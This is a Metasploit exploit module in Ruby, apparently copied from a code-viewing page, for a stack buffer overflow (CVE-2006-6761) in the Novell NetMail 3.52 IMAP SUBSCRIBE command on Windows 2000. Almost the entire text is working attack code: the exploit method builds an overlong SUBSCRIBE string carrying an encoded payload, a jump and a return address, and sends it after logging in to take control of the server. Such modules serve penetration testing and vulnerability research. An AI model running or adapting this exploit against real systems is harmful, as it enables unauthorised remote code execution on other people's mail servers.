Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = AverageRanking
8

9
  include Msf::Exploit::Remote::Imap
10

11
  def initialize(info = {})
12
    super(update_info(info,
13
      'Name'           => 'Novell NetMail IMAP SUBSCRIBE Buffer Overflow',
14
      'Description'    => %q{
15
          This module exploits a stack buffer overflow in Novell's NetMail 3.52 IMAP SUBSCRIBE
16
        verb. By sending an overly long string, an attacker can overwrite the
17
        buffer and control program execution.
18
      },
19
      'Author'         => [ 'MC' ],
20
      'License'        => MSF_LICENSE,
21
      'References'     =>
22
        [
23
          [ 'CVE', '2006-6761' ],
24
          [ 'OSVDB', '31360' ],
25
          [ 'BID', '21728' ],
26
          [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=454' ],
27
        ],
28
      'Privileged'     => true,
29
      'DefaultOptions' =>
30
        {
31
          'EXITFUNC' => 'thread',
32
        },
33
      'Payload'        =>
34
        {
35
          'Space'    => 500,
36
          'BadChars' => "\x00\x0a\x0d\x20",
37
          'StackAdjustment' => -3500,
38
        },
39
      'Platform'       => 'win',
40
      'Targets'        =>
41
        [
42
          ['Windows 2000 SP0-SP4 English',		{ 'Ret' => 0x75022ac4 }],
43
        ],
44
      'DefaultTarget'  => 0,
45
      'DisclosureDate' => '2006-12-23'))
46

47
  end
48

49
  def exploit
50
    sploit =  "a002 SUBSCRIBE #" + rand_text_english(1602) + payload.encoded
51
    sploit << "\xeb\x06" + rand_text_english(2) + [target.ret].pack('V')
52
    sploit <<  [0xe8, -485].pack('CV') + rand_text_english(150)
53

54
    info = connect_login
55

56
    if (info == true)
57
      print_status("Trying target #{target.name}...")
58
      sock.put(sploit + "\r\n")
59
    else
60
      print_status("Not falling through with exploit")
61
    end
62

63
    handler
64
    disconnect
65
  end
66
end
67

68